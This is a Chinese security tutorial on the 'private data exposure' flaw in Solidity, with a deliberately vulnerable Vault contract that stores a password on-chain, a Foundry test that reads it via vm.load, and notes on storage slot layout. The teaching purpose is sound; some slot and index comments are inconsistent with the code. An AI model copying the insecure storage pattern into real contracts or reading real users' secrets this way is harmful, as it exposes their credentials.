区块链安全常见的攻击分析——私有数据泄露 (Private Data Exposure)【7】

区块链安全常见的攻击分析------私有数据泄露 Private Data Exposure【7】

name: 私有数据泄露 (Private Data Exposure)

重点: 变量直接存储在链上,而链上的所有数据(无论是 public 还是 private)都可以被直接读取。因此,用户的密码缺乏安全性,容易被恶意行为者获取。利用vm.load() 或类似的链上存储读取方法,可以直接获取存储数据,从而轻松获取用户的 password。

如果不理解槽位slot可以先学习一下目录里1.5 知识点

1.1 漏洞分析

password直接存储在链上,所有存储在链上的数据(无论是 public 还是 private)都可以被读取。因此,用户的密码并不安全,容易被恶意行为者获取。

1.2 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称: 私有数据泄露 (Private Data Exposure)

描述:
Solidity 将合约中定义的变量存储在槽位(slot)中。每个槽位最多可以容纳 32 字节或 256 位。
由于所有存储在链上的数据(无论是 public 还是 private)都可以被读取,因此可以通过预测私有数据在 Vault 合约中的存储槽位,读取其中的私有数据。

如果在生产环境中使用 Vault 合约,恶意行为者可能会使用类似技术访问敏感信息,例如用户密码。

缓解措施:
避免在链上存储敏感数据。

参考:
https://quillaudits.medium.com/accessing-private-data-in-smart-contracts-quillaudits-fe847581ce6d
*/

contract Vault {
    // slot 0
    uint256 private password;

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user);
        idToUser[0] = user;
    }

    struct User {
        uint id;
        bytes32 password;
    }

    // slot 1
    User[] public users;
    // slot 2
    mapping(uint => User) public idToUser;

    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (bytes32) {
        uint256 a = uint(keccak256(abi.encodePacked(slot))) +
            (index * elementSize);
        return bytes32(a);
    }
}

1.3 攻击分析

通过vm.load()直接获取链上数据

  • 可以获取user数组中user结构体内的password
  • 也可以直接读取 password 存储的槽位 0

结果

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Privatedata.sol";

contract ContractTest is Test {
    Vault PrivatedataContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        PrivatedataContract = new Vault(211233);
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
    }

    function testPrivatedata() public {
        vm.prank(Koko);
        bytes32 leet = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log(uint256(leet));

        // users in slot 1 - length of array
        // starting from slot hash(1) - array elements
        // slot where array element is stored = keccak256(slot)) + (index * elementSize)
        // where slot = 1 and elementSize = 2 (1 (uint) +  1 (bytes32))
        bytes32 user = vm.load(
            address(PrivatedataContract),
            PrivatedataContract.getArrayLocation(1, 1, 1)
        );
        console.log(uint256(user));
    }

    function testPasswordSlot() public {
        // 读取 password 存储的槽位 0
        bytes32 password = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log("Password stored in slot 0:", uint256(password));
    }
}

1.5 知识点:槽位 slot

存储规则:
  1. 状态变量顺序
    • 状态变量按其定义顺序依次存储在存储槽(slot)中。
    • 每个槽的大小为 256 位(32 字节)。
    • 如果变量大小小于 256 位(例如 uint128bool),多个变量可能共享一个槽。
  2. 动态数组和映射
    • 动态数组和映射本身占用一个槽,存储的是其内容的起始位置的哈希值。
    • 数组元素和映射值存储在独立的哈希槽中。
  3. 结构体
    • 结构体的每个成员按顺序分配存储,类似于多个状态变量。
示例存储分析:

假设合约如下:

solidity 复制代码
contract Vault {
    uint256 private password; // slot 0
    struct User {
        uint256 id;          // slot 1 (in storage for arrays/mappings)
        bytes32 password;    // slot 2 (in storage for arrays/mappings)
    }
    User[] public users;      // slot 1 (base slot for dynamic array)
    mapping(uint256 => User) public idToUser; // slot 2 (base slot for mapping)

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user); // Stored starting from keccak256(slot 1)
        idToUser[0] = user; // Stored starting from keccak256(0 + slot 2)
    }
}

变量存储位置:
  1. password (slot 0) :
    • 存储在槽位 0,因为它是合约中定义的第一个变量,占用完整的 256 位。
  2. users 动态数组 (slot 1) :
    • 动态数组的起始槽存储在槽位 1。
    • 数组内容从 keccak256(slot 1) 开始的槽位存储。
  3. idToUser 映射 (slot 2) :
    • 映射的基础槽位是 2。
    • 映射中的每个键值对存储在 keccak256(键 + slot 2)

如何获取槽位数据:
  1. 通过 getStorageAt 读取存储数据: 使用 Solidity 或工具(如 Foundry 的 vm.load)读取指定槽位的数据。

  2. Foundry 示例:

    solidity 复制代码
    contract VaultTest is Test {
        Vault vault;
    
        function setUp() public {
            vault = new Vault(123456);
        }
    
        function testStorage() public {
            // 读取槽位 0 的存储数据
            bytes32 slot0 = vm.load(address(vault), bytes32(uint256(0)));
            console.log("Password (slot 0):", uint256(slot0));
    
            // 读取数组起始槽位 1 的哈希值
            bytes32 arraySlot1 = vm.load(address(vault), bytes32(uint256(1)));
            console.log("Array base slot 1:", arraySlot1);
    
            // 读取映射键 0 的哈希槽
            bytes32 mapSlot = keccak256(abi.encodePacked(uint256(0), uint256(2)));
            bytes32 userInMapping = vm.load(address(vault), mapSlot);
            console.log("Mapping data:", userInMapping);
        }
    }

存储槽位计算:
  1. 单变量
    • 按声明顺序从槽位 0 开始。
  2. 动态数组
    • 数组本身的基础槽位存储数组长度。
    • 元素从 keccak256(基础槽位) 开始依次存储。
  3. 映射
    • 每个键值对的存储槽 = keccak256(abi.encodePacked(键, 映射基础槽位))
相关推荐
cui_win33 分钟前
Linux性能优化-系列文章-汇总
linux·网络·安全·性能优化
陈大爷(有低保)2 小时前
安全框架SpringSecurity
安全
网络安全(华哥)2 小时前
网络安全等级保护系统定级流程与示例
网络·安全·web安全
木西2 小时前
快速实现一个去中心交易所的智能合约
web3·区块链·智能合约
CESS_Cloud4 小时前
CESS 的 2024:赋能 AI,塑造去中心化数据基础
人工智能·web3·去中心化·区块链
电报号dapp1196 小时前
数字货币支付系统开发搭建:构建未来的区块链支付生态
去中心化·区块链·智能合约
Hacker_Nightrain6 小时前
[CTF/网络安全] 攻防世界 baby_web 解题详析
前端·安全·web安全
一只小鱼儿吖7 小时前
代理IP授权机制:保障安全与效率的双重考量
网络·tcp/ip·安全
板栗妖怪8 小时前
DC-2 靶场渗透
安全·web安全
周圣贤9 小时前
区块链、量子与机器学习:边缘计算与云原生的未来互联之路
机器学习·云原生·区块链·边缘计算·量子计算